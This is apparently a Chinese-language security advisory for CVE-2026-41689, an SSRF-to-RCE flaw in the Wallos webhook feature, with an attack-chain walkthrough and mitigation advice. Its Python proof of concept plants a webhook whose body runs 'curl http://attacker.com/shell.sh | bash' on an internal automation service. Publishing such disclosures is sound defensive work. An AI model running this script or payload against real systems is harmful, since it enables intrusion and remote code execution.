IPBUF安全漏洞报告
English
CVE-2026-41689 CVSS 6.0 中危

CVE-2026-41689 Wallos SSRF致RCE漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41689
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
6.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wallos

相关标签

SSRFRCEWallos权限绕过Webhook

漏洞概述

Wallos 4.8.4及之前版本存在严重的权限校验漏洞。其Webhook通知功能将管理员配置的内网目标白名单错误地应用于所有普通登录用户。攻击者可利用此缺陷,完全控制Webhook的URL、Headers及Body内容,诱导Wallos服务器向白名单内的内部自动化服务发送特制请求。若目标服务暴露了部署或执行API,攻击者可借此实现相邻服务的远程代码执行,目前该漏洞暂无官方补丁。

技术细节

该漏洞源于Wallos在Webhook功能中缺乏严格的权限隔离机制。系统在处理用户配置的Webhook请求时,未验证用户身份是否具备操作特定内网目标的权限,而是默认允许任何登录用户使用管理员预设的“本地目标允许列表”。攻击者只需拥有普通账号,即可枚举或猜测白名单中的内网地址(如CI/CD服务器、配置管理工具等)。通过构造恶意的HTTP POST请求,攻击者利用Wallos服务器作为跳板(SSRF),向内网敏感接口发送带有特定Payload的数据包。由于请求源自受信任的内部服务器,内网服务往往会接受并处理这些请求,导致未经授权的代码执行或敏感数据泄露。

攻击链分析

STEP 1
步骤1:侦察与登录
攻击者注册或获取一个普通用户账号并登录Wallos系统。
STEP 2
步骤2:探测白名单
攻击者通过错误信息或猜测,确定管理员配置的Webhook允许列表中包含哪些内网服务地址。
STEP 3
步骤3:构造恶意Webhook
攻击者在个人设置中配置Webhook,将URL指向内网的自动化服务,并在Body中植入恶意命令或脚本。
STEP 4
步骤4:触发SSRF
攻击者触发Webhook通知事件,Wallos服务器解析配置并向内网目标发送HTTP请求。
STEP 5
步骤5:利用内网服务
内网自动化服务接收到请求并解析Payload,执行其中的部署命令,导致远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target Wallos instance URL target_host = "http://localhost:8080" login_url = f"{target_host}/login" webhook_url = f"{target_host}/api/webhooks" # Attacker credentials credentials = { "username": "low_priv_user", "password": "password123" } # Internal vulnerable service in the allowlist (e.g., Jenkins, GitLab) internal_target = "http://internal-automation:8080/job/deploy/build" # 1. Login to get session session = requests.Session() login_resp = session.post(login_url, data=credentials) if login_resp.status_code == 200: # 2. Configure malicious webhook pointing to internal service malicious_webhook = { "name": "Backup Sync", "url": internal_target, "method": "POST", "headers": { "Content-Type": "application/json" }, # Payload to trigger RCE on the internal service "body": "{\"parameter\": [{\"name\": \"SCRIPT\", \"value\": \"curl http://attacker.com/shell.sh | bash\"}]}" } # 3. Send the webhook configuration create_resp = session.post(webhook_url, json=malicious_webhook) if create_resp.status_code == 201: print("[+] Malicious webhook created successfully.") print("[+] Server will now send SSRF requests to internal automation service.") else: print("[-] Failed to create webhook.") else: print("[-] Login failed.")

影响范围

Wallos <= 4.8.4

防御指南

临时缓解措施
鉴于目前暂无补丁,建议管理员暂时禁用Webhook通知功能。此外,应严格限制Wallos服务器的出站网络访问,通过防火墙规则禁止其访问非必要的内部网段,从而阻断SSRF攻击路径。同时,应加强内部自动化服务的身份验证机制,防止未授权的API调用。

参考链接